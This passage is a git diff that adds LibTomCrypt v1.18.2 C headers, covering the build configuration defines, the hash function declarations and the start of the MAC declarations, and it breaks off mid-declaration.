+#define LTC_SAFERP +#define LTC_RIJNDAEL +#define LTC_XTEA +/* _TABLES tells it to use tables during setup, _SMALL means to use the smaller scheduled key format + * (saves 4KB of ram), _ALL_TABLES enables all tables during setup */ +#define LTC_TWOFISH +#ifndef LTC_NO_TABLES + #define LTC_TWOFISH_TABLES + /* #define LTC_TWOFISH_ALL_TABLES */ +#else + #define LTC_TWOFISH_SMALL +#endif +/* #define LTC_TWOFISH_SMALL */ +/* LTC_DES includes EDE triple-DES */ +#define LTC_DES +#define LTC_CAST5 +#define LTC_NOEKEON +#define LTC_SKIPJACK +#define LTC_SAFER +#define LTC_KHAZAD +#define LTC_ANUBIS +#define LTC_ANUBIS_TWEAK +#define LTC_KSEED +#define LTC_KASUMI +#define LTC_MULTI2 +#define LTC_CAMELLIA + +/* stream ciphers */ +#define LTC_CHACHA +#define LTC_RC4_STREAM +#define LTC_SOBER128_STREAM + +#endif /* LTC_NO_CIPHERS */ + + +/* ---> Block Cipher Modes of Operation <--- */ +#ifndef LTC_NO_MODES + +#define LTC_CFB_MODE +#define LTC_OFB_MODE +#define LTC_ECB_MODE +#define LTC_CBC_MODE +#define LTC_CTR_MODE + +/* F8 chaining mode */ +#define LTC_F8_MODE + +/* LRW mode */ +#define LTC_LRW_MODE +#ifndef LTC_NO_TABLES + /* like GCM mode this will enable 16 8x128 tables [64KB] that make + * seeking very fast. + */ + #define LTC_LRW_TABLES +#endif + +/* XTS mode */ +#define LTC_XTS_MODE + +#endif /* LTC_NO_MODES */ + +/* ---> One-Way Hash Functions <--- */ +#ifndef LTC_NO_HASHES + +#define LTC_CHC_HASH +#define LTC_WHIRLPOOL +#define LTC_SHA3 +#define LTC_SHA512 +#define LTC_SHA512_256 +#define LTC_SHA512_224 +#define LTC_SHA384 +#define LTC_SHA256 +#define LTC_SHA224 +#define LTC_TIGER +#define LTC_SHA1 +#define LTC_MD5 +#define LTC_MD4 +#define LTC_MD2 +#define LTC_RIPEMD128 +#define LTC_RIPEMD160 +#define LTC_RIPEMD256 +#define LTC_RIPEMD320 +#define LTC_BLAKE2S +#define LTC_BLAKE2B + +#define LTC_HASH_HELPERS + +#endif /* LTC_NO_HASHES */ + + +/* ---> MAC functions <--- */ +#ifndef LTC_NO_MACS + +#define LTC_HMAC +#define LTC_OMAC +#define LTC_PMAC +#define LTC_XCBC +#define LTC_F9_MODE +#define LTC_PELICAN +#define LTC_POLY1305 +#define LTC_BLAKE2SMAC +#define LTC_BLAKE2BMAC + +/* ---> Encrypt + Authenticate Modes <--- */ + +#define LTC_EAX_MODE + +#define LTC_OCB_MODE +#define LTC_OCB3_MODE +#define LTC_CCM_MODE +#define LTC_GCM_MODE +#define LTC_CHACHA20POLY1305_MODE + +/* Use 64KiB tables */ +#ifndef LTC_NO_TABLES + #define LTC_GCM_TABLES +#endif + +/* USE SSE2? requires GCC works on x86_32 and x86_64*/ +#ifdef LTC_GCM_TABLES +/* #define LTC_GCM_TABLES_SSE2 */ +#endif + +#endif /* LTC_NO_MACS */ + + +/* --> Pseudo Random Number Generators <--- */ +#ifndef LTC_NO_PRNGS + +/* Yarrow */ +#define LTC_YARROW + +/* a PRNG that simply reads from an available system source */ +#define LTC_SPRNG + +/* The RC4 stream cipher based PRNG */ +#define LTC_RC4 + +/* The ChaCha20 stream cipher based PRNG */ +#define LTC_CHACHA20_PRNG + +/* Fortuna PRNG */ +#define LTC_FORTUNA + +/* Greg's SOBER128 stream cipher based PRNG */ +#define LTC_SOBER128 + +/* the *nix style /dev/random device */ +#define LTC_DEVRANDOM +/* try /dev/urandom before trying /dev/random + * are you sure you want to disable this? http://www.2uo.de/myths-about-urandom/ */ +#define LTC_TRY_URANDOM_FIRST +/* rng_get_bytes() */ +#define LTC_RNG_GET_BYTES +/* rng_make_prng() */ +#define LTC_RNG_MAKE_PRNG + +/* enable the ltc_rng hook to integrate e.g. embedded hardware RNG's easily */ +/* #define LTC_PRNG_ENABLE_LTC_RNG */ + +#endif /* LTC_NO_PRNGS */ + +#ifdef LTC_YARROW + +/* which descriptor of AES to use? */ +/* 0 = rijndael_enc 1 = aes_enc, 2 = rijndael [full], 3 = aes [full] */ +#ifdef ENCRYPT_ONLY + #define LTC_YARROW_AES 0 +#else + #define LTC_YARROW_AES 2 +#endif + +#endif + +#ifdef LTC_FORTUNA + +#ifndef LTC_FORTUNA_WD +/* reseed every N calls to the read function */ +#define LTC_FORTUNA_WD 10 +#endif + +#ifndef LTC_FORTUNA_POOLS +/* number of pools (4..32) can save a bit of ram by lowering the count */ +#define LTC_FORTUNA_POOLS 32 +#endif + +#endif /* LTC_FORTUNA */ + + +/* ---> Public Key Crypto <--- */ +#ifndef LTC_NO_PK + +/* Include RSA support */ +#define LTC_MRSA + +/* Include Diffie-Hellman support */ +/* is_prime fails for GMP */ +#define LTC_MDH +/* Supported Key Sizes */ +#define LTC_DH768 +#define LTC_DH1024 +#define LTC_DH1536 +#define LTC_DH2048 + +#ifndef TFM_DESC +/* tfm has a problem in fp_isprime for larger key sizes */ +#define LTC_DH3072 +#define LTC_DH4096 +#define LTC_DH6144 +#define LTC_DH8192 +#endif + +/* Include Katja (a Rabin variant like RSA) */ +/* #define LTC_MKAT */ + +/* Digital Signature Algorithm */ +#define LTC_MDSA + +/* ECC */ +#define LTC_MECC + +/* use Shamir's trick for point mul (speeds up signature verification) */ +#define LTC_ECC_SHAMIR + +#if defined(TFM_DESC) && defined(LTC_MECC) + #define LTC_MECC_ACCEL +#endif + +/* do we want fixed point ECC */ +/* #define LTC_MECC_FP */ + +#endif /* LTC_NO_PK */ + +#if defined(LTC_MRSA) && !defined(LTC_NO_RSA_BLINDING) +/* Enable RSA blinding when doing private key operations by default */ +#define LTC_RSA_BLINDING +#endif /* LTC_NO_RSA_BLINDING */ + +#if defined(LTC_MRSA) && !defined(LTC_NO_RSA_CRT_HARDENING) +/* Enable RSA CRT hardening when doing private key operations by default */ +#define LTC_RSA_CRT_HARDENING +#endif /* LTC_NO_RSA_CRT_HARDENING */ + +#if defined(LTC_MECC) && !defined(LTC_NO_ECC_TIMING_RESISTANT) +/* Enable ECC timing resistant version by default */ +#define LTC_ECC_TIMING_RESISTANT +#endif + +/* PKCS #1 (RSA) and #5 (Password Handling) stuff */ +#ifndef LTC_NO_PKCS + +#define LTC_PKCS_1 +#define LTC_PKCS_5 + +/* Include ASN.1 DER (required by DSA/RSA) */ +#define LTC_DER + +#endif /* LTC_NO_PKCS */ + +/* misc stuff */ +#ifndef LTC_NO_MISC + +/* Various tidbits of modern neatoness */ +#define LTC_BASE64 +/* ... and it's URL safe version */ +#define LTC_BASE64_URL + +/* Keep LTC_NO_HKDF for compatibility reasons + * superseeded by LTC_NO_MISC*/ +#ifndef LTC_NO_HKDF +/* HKDF Key Derivation/Expansion stuff */ +#define LTC_HKDF +#endif /* LTC_NO_HKDF */ + +#define LTC_ADLER32 + +#define LTC_CRC32 + +#endif /* LTC_NO_MISC */ + +/* cleanup */ + +#ifdef LTC_MECC +/* Supported ECC Key Sizes */ +#ifndef LTC_NO_CURVES + #define LTC_ECC112 + #define LTC_ECC128 + #define LTC_ECC160 + #define LTC_ECC192 + #define LTC_ECC224 + #define LTC_ECC256 + #define LTC_ECC384 + #define LTC_ECC521 +#endif +#endif + +#if defined(LTC_DER) + #ifndef LTC_DER_MAX_RECURSION + /* Maximum recursion limit when processing nested ASN.1 types. */ + #define LTC_DER_MAX_RECURSION 30 + #endif +#endif + +#if defined(LTC_MECC) || defined(LTC_MRSA) || defined(LTC_MDSA) || defined(LTC_MKAT) + /* Include the MPI functionality? (required by the PK algorithms) */ + #define LTC_MPI + + #ifndef LTC_PK_MAX_RETRIES + /* iterations limit for retry-loops */ + #define LTC_PK_MAX_RETRIES 20 + #endif +#endif + +#ifdef LTC_MRSA + #define LTC_PKCS_1 +#endif + +#if defined(LTC_PELICAN) && !defined(LTC_RIJNDAEL) + #error Pelican-MAC requires LTC_RIJNDAEL +#endif + +#if defined(LTC_EAX_MODE) && !(defined(LTC_CTR_MODE) && defined(LTC_OMAC)) + #error LTC_EAX_MODE requires CTR and LTC_OMAC mode +#endif + +#if defined(LTC_YARROW) && !defined(LTC_CTR_MODE) + #error LTC_YARROW requires LTC_CTR_MODE chaining mode to be defined! +#endif + +#if defined(LTC_DER) && !defined(LTC_MPI) + #error ASN.1 DER requires MPI functionality +#endif + +#if (defined(LTC_MDSA) || defined(LTC_MRSA) || defined(LTC_MECC) || defined(LTC_MKAT)) && !defined(LTC_DER) + #error PK requires ASN.1 DER functionality, make sure LTC_DER is enabled +#endif + +#if defined(LTC_CHACHA20POLY1305_MODE) && (!defined(LTC_CHACHA) || !defined(LTC_POLY1305)) + #error LTC_CHACHA20POLY1305_MODE requires LTC_CHACHA + LTC_POLY1305 +#endif + +#if defined(LTC_CHACHA20_PRNG) && !defined(LTC_CHACHA) + #error LTC_CHACHA20_PRNG requires LTC_CHACHA +#endif + +#if defined(LTC_RC4) && !defined(LTC_RC4_STREAM) + #error LTC_RC4 requires LTC_RC4_STREAM +#endif + +#if defined(LTC_SOBER128) && !defined(LTC_SOBER128_STREAM) + #error LTC_SOBER128 requires LTC_SOBER128_STREAM +#endif + +#if defined(LTC_BLAKE2SMAC) && !defined(LTC_BLAKE2S) + #error LTC_BLAKE2SMAC requires LTC_BLAKE2S +#endif + +#if defined(LTC_BLAKE2BMAC) && !defined(LTC_BLAKE2B) + #error LTC_BLAKE2BMAC requires LTC_BLAKE2B +#endif + +#if defined(LTC_SPRNG) && !defined(LTC_RNG_GET_BYTES) + #error LTC_SPRNG requires LTC_RNG_GET_BYTES +#endif + +#if defined(LTC_NO_MATH) && (defined(LTM_DESC) || defined(TFM_DESC) || defined(GMP_DESC)) + #error LTC_NO_MATH defined, but also a math descriptor +#endif + +/* THREAD management */ +#ifdef LTC_PTHREAD + +#include + +#define LTC_MUTEX_GLOBAL(x) pthread_mutex_t x = PTHREAD_MUTEX_INITIALIZER; +#define LTC_MUTEX_PROTO(x) extern pthread_mutex_t x; +#define LTC_MUTEX_TYPE(x) pthread_mutex_t x; +#define LTC_MUTEX_INIT(x) LTC_ARGCHK(pthread_mutex_init(x, NULL) == 0); +#define LTC_MUTEX_LOCK(x) LTC_ARGCHK(pthread_mutex_lock(x) == 0); +#define LTC_MUTEX_UNLOCK(x) LTC_ARGCHK(pthread_mutex_unlock(x) == 0); +#define LTC_MUTEX_DESTROY(x) LTC_ARGCHK(pthread_mutex_destroy(x) == 0); + +#else + +/* default no functions */ +#define LTC_MUTEX_GLOBAL(x) +#define LTC_MUTEX_PROTO(x) +#define LTC_MUTEX_TYPE(x) +#define LTC_MUTEX_INIT(x) +#define LTC_MUTEX_LOCK(x) +#define LTC_MUTEX_UNLOCK(x) +#define LTC_MUTEX_DESTROY(x) + +#endif + +/* Debuggers */ + +/* define this if you use Valgrind, note: it CHANGES the way SOBER-128 and RC4 work (see the code) */ +/* #define LTC_VALGRIND */ + +#endif + +#ifndef LTC_NO_FILE + /* buffer size for reading from a file via fread(..) */ + #ifndef LTC_FILE_READ_BUFSIZE + #define LTC_FILE_READ_BUFSIZE 8192 + #endif +#endif + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_hash.h b/include/tomcrypt_hash.h new file mode 100644 index 0000000..4bb0263 --- /dev/null +++ b/include/tomcrypt_hash.h @@ -0,0 +1,531 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/* ---- HASH FUNCTIONS ---- */ +#ifdef LTC_SHA3 +struct sha3_state { + ulong64 saved; /* the portion of the input message that we didn't consume yet */ + ulong64 s[25]; + unsigned char sb[25 * 8]; /* used for storing `ulong64 s[25]` as little-endian bytes */ + unsigned short byte_index; /* 0..7--the next byte after the set one (starts from 0; 0--none are buffered) */ + unsigned short word_index; /* 0..24--the next word to integrate input (starts from 0) */ + unsigned short capacity_words; /* the double size of the hash output in words (e.g. 16 for Keccak 512) */ + unsigned short xof_flag; +}; +#endif + +#ifdef LTC_SHA512 +struct sha512_state { + ulong64 length, state[8]; + unsigned long curlen; + unsigned char buf[128]; +}; +#endif + +#ifdef LTC_SHA256 +struct sha256_state { + ulong64 length; + ulong32 state[8], curlen; + unsigned char buf[64]; +}; +#endif + +#ifdef LTC_SHA1 +struct sha1_state { + ulong64 length; + ulong32 state[5], curlen; + unsigned char buf[64]; +}; +#endif + +#ifdef LTC_MD5 +struct md5_state { + ulong64 length; + ulong32 state[4], curlen; + unsigned char buf[64]; +}; +#endif + +#ifdef LTC_MD4 +struct md4_state { + ulong64 length; + ulong32 state[4], curlen; + unsigned char buf[64]; +}; +#endif + +#ifdef LTC_TIGER +struct tiger_state { + ulong64 state[3], length; + unsigned long curlen; + unsigned char buf[64]; +}; +#endif + +#ifdef LTC_MD2 +struct md2_state { + unsigned char chksum[16], X[48], buf[16]; + unsigned long curlen; +}; +#endif + +#ifdef LTC_RIPEMD128 +struct rmd128_state { + ulong64 length; + unsigned char buf[64]; + ulong32 curlen, state[4]; +}; +#endif + +#ifdef LTC_RIPEMD160 +struct rmd160_state { + ulong64 length; + unsigned char buf[64]; + ulong32 curlen, state[5]; +}; +#endif + +#ifdef LTC_RIPEMD256 +struct rmd256_state { + ulong64 length; + unsigned char buf[64]; + ulong32 curlen, state[8]; +}; +#endif + +#ifdef LTC_RIPEMD320 +struct rmd320_state { + ulong64 length; + unsigned char buf[64]; + ulong32 curlen, state[10]; +}; +#endif + +#ifdef LTC_WHIRLPOOL +struct whirlpool_state { + ulong64 length, state[8]; + unsigned char buf[64]; + ulong32 curlen; +}; +#endif + +#ifdef LTC_CHC_HASH +struct chc_state { + ulong64 length; + unsigned char state[MAXBLOCKSIZE], buf[MAXBLOCKSIZE]; + ulong32 curlen; +}; +#endif + +#ifdef LTC_BLAKE2S +struct blake2s_state { + ulong32 h[8]; + ulong32 t[2]; + ulong32 f[2]; + unsigned char buf[64]; + unsigned long curlen; + unsigned long outlen; + unsigned char last_node; +}; +#endif + +#ifdef LTC_BLAKE2B +struct blake2b_state { + ulong64 h[8]; + ulong64 t[2]; + ulong64 f[2]; + unsigned char buf[128]; + unsigned long curlen; + unsigned long outlen; + unsigned char last_node; +}; +#endif + +typedef union Hash_state { + char dummy[1]; +#ifdef LTC_CHC_HASH + struct chc_state chc; +#endif +#ifdef LTC_WHIRLPOOL + struct whirlpool_state whirlpool; +#endif +#ifdef LTC_SHA3 + struct sha3_state sha3; +#endif +#ifdef LTC_SHA512 + struct sha512_state sha512; +#endif +#ifdef LTC_SHA256 + struct sha256_state sha256; +#endif +#ifdef LTC_SHA1 + struct sha1_state sha1; +#endif +#ifdef LTC_MD5 + struct md5_state md5; +#endif +#ifdef LTC_MD4 + struct md4_state md4; +#endif +#ifdef LTC_MD2 + struct md2_state md2; +#endif +#ifdef LTC_TIGER + struct tiger_state tiger; +#endif +#ifdef LTC_RIPEMD128 + struct rmd128_state rmd128; +#endif +#ifdef LTC_RIPEMD160 + struct rmd160_state rmd160; +#endif +#ifdef LTC_RIPEMD256 + struct rmd256_state rmd256; +#endif +#ifdef LTC_RIPEMD320 + struct rmd320_state rmd320; +#endif +#ifdef LTC_BLAKE2S + struct blake2s_state blake2s; +#endif +#ifdef LTC_BLAKE2B + struct blake2b_state blake2b; +#endif + + void *data; +} hash_state; + +/** hash descriptor */ +extern struct ltc_hash_descriptor { + /** name of hash */ + const char *name; + /** internal ID */ + unsigned char ID; + /** Size of digest in octets */ + unsigned long hashsize; + /** Input block size in octets */ + unsigned long blocksize; + /** ASN.1 OID */ + unsigned long OID[16]; + /** Length of DER encoding */ + unsigned long OIDlen; + + /** Init a hash state + @param hash The hash to initialize + @return CRYPT_OK if successful + */ + int (*init)(hash_state *hash); + /** Process a block of data + @param hash The hash state + @param in The data to hash + @param inlen The length of the data (octets) + @return CRYPT_OK if successful + */ + int (*process)(hash_state *hash, const unsigned char *in, unsigned long inlen); + /** Produce the digest and store it + @param hash The hash state + @param out [out] The destination of the digest + @return CRYPT_OK if successful + */ + int (*done)(hash_state *hash, unsigned char *out); + /** Self-test + @return CRYPT_OK if successful, CRYPT_NOP if self-tests have been disabled + */ + int (*test)(void); + + /* accelerated hmac callback: if you need to-do multiple packets just use the generic hmac_memory and provide a hash callback */ + int (*hmac_block)(const unsigned char *key, unsigned long keylen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); + +} hash_descriptor[]; + +#ifdef LTC_CHC_HASH +int chc_register(int cipher); +int chc_init(hash_state * md); +int chc_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int chc_done(hash_state * md, unsigned char *hash); +int chc_test(void); +extern const struct ltc_hash_descriptor chc_desc; +#endif + +#ifdef LTC_WHIRLPOOL +int whirlpool_init(hash_state * md); +int whirlpool_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int whirlpool_done(hash_state * md, unsigned char *hash); +int whirlpool_test(void); +extern const struct ltc_hash_descriptor whirlpool_desc; +#endif + +#ifdef LTC_SHA3 +int sha3_512_init(hash_state * md); +int sha3_512_test(void); +extern const struct ltc_hash_descriptor sha3_512_desc; +int sha3_384_init(hash_state * md); +int sha3_384_test(void); +extern const struct ltc_hash_descriptor sha3_384_desc; +int sha3_256_init(hash_state * md); +int sha3_256_test(void); +extern const struct ltc_hash_descriptor sha3_256_desc; +int sha3_224_init(hash_state * md); +int sha3_224_test(void); +extern const struct ltc_hash_descriptor sha3_224_desc; +/* process + done are the same for all variants */ +int sha3_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int sha3_done(hash_state *md, unsigned char *hash); +/* SHAKE128 + SHAKE256 */ +int sha3_shake_init(hash_state *md, int num); +#define sha3_shake_process(a,b,c) sha3_process(a,b,c) +int sha3_shake_done(hash_state *md, unsigned char *out, unsigned long outlen); +int sha3_shake_test(void); +int sha3_shake_memory(int num, const unsigned char *in, unsigned long inlen, unsigned char *out, unsigned long *outlen); +#endif + +#ifdef LTC_SHA512 +int sha512_init(hash_state * md); +int sha512_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int sha512_done(hash_state * md, unsigned char *hash); +int sha512_test(void); +extern const struct ltc_hash_descriptor sha512_desc; +#endif + +#ifdef LTC_SHA384 +#ifndef LTC_SHA512 + #error LTC_SHA512 is required for LTC_SHA384 +#endif +int sha384_init(hash_state * md); +#define sha384_process sha512_process +int sha384_done(hash_state * md, unsigned char *hash); +int sha384_test(void); +extern const struct ltc_hash_descriptor sha384_desc; +#endif + +#ifdef LTC_SHA512_256 +#ifndef LTC_SHA512 + #error LTC_SHA512 is required for LTC_SHA512_256 +#endif +int sha512_256_init(hash_state * md); +#define sha512_256_process sha512_process +int sha512_256_done(hash_state * md, unsigned char *hash); +int sha512_256_test(void); +extern const struct ltc_hash_descriptor sha512_256_desc; +#endif + +#ifdef LTC_SHA512_224 +#ifndef LTC_SHA512 + #error LTC_SHA512 is required for LTC_SHA512_224 +#endif +int sha512_224_init(hash_state * md); +#define sha512_224_process sha512_process +int sha512_224_done(hash_state * md, unsigned char *hash); +int sha512_224_test(void); +extern const struct ltc_hash_descriptor sha512_224_desc; +#endif + +#ifdef LTC_SHA256 +int sha256_init(hash_state * md); +int sha256_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int sha256_done(hash_state * md, unsigned char *hash); +int sha256_test(void); +extern const struct ltc_hash_descriptor sha256_desc; + +#ifdef LTC_SHA224 +#ifndef LTC_SHA256 + #error LTC_SHA256 is required for LTC_SHA224 +#endif +int sha224_init(hash_state * md); +#define sha224_process sha256_process +int sha224_done(hash_state * md, unsigned char *hash); +int sha224_test(void); +extern const struct ltc_hash_descriptor sha224_desc; +#endif +#endif + +#ifdef LTC_SHA1 +int sha1_init(hash_state * md); +int sha1_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int sha1_done(hash_state * md, unsigned char *hash); +int sha1_test(void); +extern const struct ltc_hash_descriptor sha1_desc; +#endif + +#ifdef LTC_BLAKE2S +extern const struct ltc_hash_descriptor blake2s_256_desc; +int blake2s_256_init(hash_state * md); +int blake2s_256_test(void); + +extern const struct ltc_hash_descriptor blake2s_224_desc; +int blake2s_224_init(hash_state * md); +int blake2s_224_test(void); + +extern const struct ltc_hash_descriptor blake2s_160_desc; +int blake2s_160_init(hash_state * md); +int blake2s_160_test(void); + +extern const struct ltc_hash_descriptor blake2s_128_desc; +int blake2s_128_init(hash_state * md); +int blake2s_128_test(void); + +int blake2s_init(hash_state * md, unsigned long outlen, const unsigned char *key, unsigned long keylen); +int blake2s_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int blake2s_done(hash_state * md, unsigned char *hash); +#endif + +#ifdef LTC_BLAKE2B +extern const struct ltc_hash_descriptor blake2b_512_desc; +int blake2b_512_init(hash_state * md); +int blake2b_512_test(void); + +extern const struct ltc_hash_descriptor blake2b_384_desc; +int blake2b_384_init(hash_state * md); +int blake2b_384_test(void); + +extern const struct ltc_hash_descriptor blake2b_256_desc; +int blake2b_256_init(hash_state * md); +int blake2b_256_test(void); + +extern const struct ltc_hash_descriptor blake2b_160_desc; +int blake2b_160_init(hash_state * md); +int blake2b_160_test(void); + +int blake2b_init(hash_state * md, unsigned long outlen, const unsigned char *key, unsigned long keylen); +int blake2b_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int blake2b_done(hash_state * md, unsigned char *hash); +#endif + +#ifdef LTC_MD5 +int md5_init(hash_state * md); +int md5_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int md5_done(hash_state * md, unsigned char *hash); +int md5_test(void); +extern const struct ltc_hash_descriptor md5_desc; +#endif + +#ifdef LTC_MD4 +int md4_init(hash_state * md); +int md4_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int md4_done(hash_state * md, unsigned char *hash); +int md4_test(void); +extern const struct ltc_hash_descriptor md4_desc; +#endif + +#ifdef LTC_MD2 +int md2_init(hash_state * md); +int md2_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int md2_done(hash_state * md, unsigned char *hash); +int md2_test(void); +extern const struct ltc_hash_descriptor md2_desc; +#endif + +#ifdef LTC_TIGER +int tiger_init(hash_state * md); +int tiger_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int tiger_done(hash_state * md, unsigned char *hash); +int tiger_test(void); +extern const struct ltc_hash_descriptor tiger_desc; +#endif + +#ifdef LTC_RIPEMD128 +int rmd128_init(hash_state * md); +int rmd128_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int rmd128_done(hash_state * md, unsigned char *hash); +int rmd128_test(void); +extern const struct ltc_hash_descriptor rmd128_desc; +#endif + +#ifdef LTC_RIPEMD160 +int rmd160_init(hash_state * md); +int rmd160_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int rmd160_done(hash_state * md, unsigned char *hash); +int rmd160_test(void); +extern const struct ltc_hash_descriptor rmd160_desc; +#endif + +#ifdef LTC_RIPEMD256 +int rmd256_init(hash_state * md); +int rmd256_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int rmd256_done(hash_state * md, unsigned char *hash); +int rmd256_test(void); +extern const struct ltc_hash_descriptor rmd256_desc; +#endif + +#ifdef LTC_RIPEMD320 +int rmd320_init(hash_state * md); +int rmd320_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int rmd320_done(hash_state * md, unsigned char *hash); +int rmd320_test(void); +extern const struct ltc_hash_descriptor rmd320_desc; +#endif + + +int find_hash(const char *name); +int find_hash_id(unsigned char ID); +int find_hash_oid(const unsigned long *ID, unsigned long IDlen); +int find_hash_any(const char *name, int digestlen); +int register_hash(const struct ltc_hash_descriptor *hash); +int unregister_hash(const struct ltc_hash_descriptor *hash); +int register_all_hashes(void); +int hash_is_valid(int idx); + +LTC_MUTEX_PROTO(ltc_hash_mutex) + +int hash_memory(int hash, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int hash_memory_multi(int hash, unsigned char *out, unsigned long *outlen, + const unsigned char *in, unsigned long inlen, ...); + +#ifndef LTC_NO_FILE +int hash_filehandle(int hash, FILE *in, unsigned char *out, unsigned long *outlen); +int hash_file(int hash, const char *fname, unsigned char *out, unsigned long *outlen); +#endif + +/* a simple macro for making hash "process" functions */ +#define HASH_PROCESS(func_name, compress_name, state_var, block_size) \ +int func_name (hash_state * md, const unsigned char *in, unsigned long inlen) \ +{ \ + unsigned long n; \ + int err; \ + LTC_ARGCHK(md != NULL); \ + LTC_ARGCHK(in != NULL); \ + if (md-> state_var .curlen > sizeof(md-> state_var .buf)) { \ + return CRYPT_INVALID_ARG; \ + } \ + if ((md-> state_var .length + inlen) < md-> state_var .length) { \ + return CRYPT_HASH_OVERFLOW; \ + } \ + while (inlen > 0) { \ + if (md-> state_var .curlen == 0 && inlen >= block_size) { \ + if ((err = compress_name (md, (unsigned char *)in)) != CRYPT_OK) { \ + return err; \ + } \ + md-> state_var .length += block_size * 8; \ + in += block_size; \ + inlen -= block_size; \ + } else { \ + n = MIN(inlen, (block_size - md-> state_var .curlen)); \ + XMEMCPY(md-> state_var .buf + md-> state_var.curlen, in, (size_t)n); \ + md-> state_var .curlen += n; \ + in += n; \ + inlen -= n; \ + if (md-> state_var .curlen == block_size) { \ + if ((err = compress_name (md, md-> state_var .buf)) != CRYPT_OK) { \ + return err; \ + } \ + md-> state_var .length += 8*block_size; \ + md-> state_var .curlen = 0; \ + } \ + } \ + } \ + return CRYPT_OK; \ +} + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_mac.h b/include/tomcrypt_mac.h new file mode 100644 index 0000000..80b922e --- /dev/null +++ b/include/tomcrypt_mac.h @@ -0,0 +1,565 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +#ifdef LTC_HMAC +typedef struct Hmac_state { + hash_state md; + int hash; + hash_state hashstate; + unsigned char *key; +} hmac_state; + +int hmac_init(hmac_state *hmac, int hash, const unsigned char *key, unsigned long keylen); +int hmac_process(hmac_state *hmac, const unsigned char *in, unsigned long inlen); +int hmac_done(hmac_state *hmac, unsigned char *out, unsigned long *outlen); +int hmac_test(void); +int hmac_memory(int hash, + const unsigned char *key, unsigned long keylen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int hmac_memory_multi(int hash, + const unsigned char *key, unsigned long keylen, + unsigned char *out, unsigned long *outlen, + const unsigned char *in, unsigned long inlen, ...); +int hmac_file(int hash, const char *fname, const unsigned char *key, + unsigned long keylen, + unsigned char *dst, unsigned long *dstlen); +#endif + +#ifdef LTC_OMAC + +typedef struct { + int cipher_idx, + buflen, + blklen; + unsigned char block[MAXBLOCKSIZE], + prev[MAXBLOCKSIZE], + Lu[2][MAXBLOCKSIZE]; + symmetric_key key; +} omac_state; + +int omac_init(omac_state *omac, int cipher, const unsigned char *key, unsigned long keylen); +int omac_process(omac_state *omac, const unsigned char *in, unsigned long inlen); +int omac_done(omac_state *omac, unsigned char *out, unsigned long *outlen); +int omac_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int omac_memory_multi(int cipher, + const unsigned char *key, unsigned long keylen, + unsigned char *out, unsigned long *outlen, + const unsigned char *in, unsigned long inlen, ...); +int omac_file(int cipher, + const unsigned char *key, unsigned long keylen, + const char *filename, + unsigned char *out, unsigned long *outlen); +int omac_test(void); +#endif /* LTC_OMAC */ + +#ifdef LTC_PMAC + +typedef struct { + unsigned char Ls[32][MAXBLOCKSIZE], /* L shifted by i bits to the left */ + Li[MAXBLOCKSIZE], /* value of Li [current value, we calc from previous recall] */ + Lr[MAXBLOCKSIZE], /* L * x^-1 */ + block[MAXBLOCKSIZE], /* currently accumulated block */ + checksum[MAXBLOCKSIZE]; /* current checksum */ + + symmetric_key key; /* scheduled key for cipher */ + unsigned long block_index; /* index # for current block */ + int cipher_idx, /* cipher idx */ + block_len, /* length of block */ + buflen; /* number of bytes in the buffer */ +} pmac_state; + +int pmac_init(pmac_state *pmac, int cipher, const unsigned char *key, unsigned long keylen); +int pmac_process(pmac_state *pmac, const unsigned char *in, unsigned long inlen); +int pmac_done(pmac_state *pmac, unsigned char *out, unsigned long *outlen); + +int pmac_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *msg, unsigned long msglen, + unsigned char *out, unsigned long *outlen); + +int pmac_memory_multi(int cipher, + const unsigned char *key, unsigned long keylen, + unsigned char *out, unsigned long *outlen, + const unsigned char *in, unsigned long inlen, ...); + +int pmac_file(int cipher, + const unsigned char *key, unsigned long keylen, + const char *filename, + unsigned char *out, unsigned long *outlen); + +int pmac_test(void); + +/* internal functions */ +int pmac_ntz(unsigned long x); +void pmac_shift_xor(pmac_state *pmac); + +#endif /* PMAC */ + +#ifdef LTC_POLY1305 +typedef struct { + ulong32 r[5]; + ulong32 h[5]; + ulong32 pad[4]; + unsigned long leftover; + unsigned char buffer[16]; + int final; +} poly1305_state; + +int poly1305_init(poly1305_state *st, const unsigned char *key, unsigned long keylen); +int poly1305_process(poly1305_state *st, const unsigned char *in, unsigned long inlen); +int poly1305_done(poly1305_state *st, unsigned char *mac, unsigned long *maclen); +int poly1305_memory(const unsigned char *key, unsigned long keylen, const unsigned char *in, unsigned long inlen, unsigned char *mac, 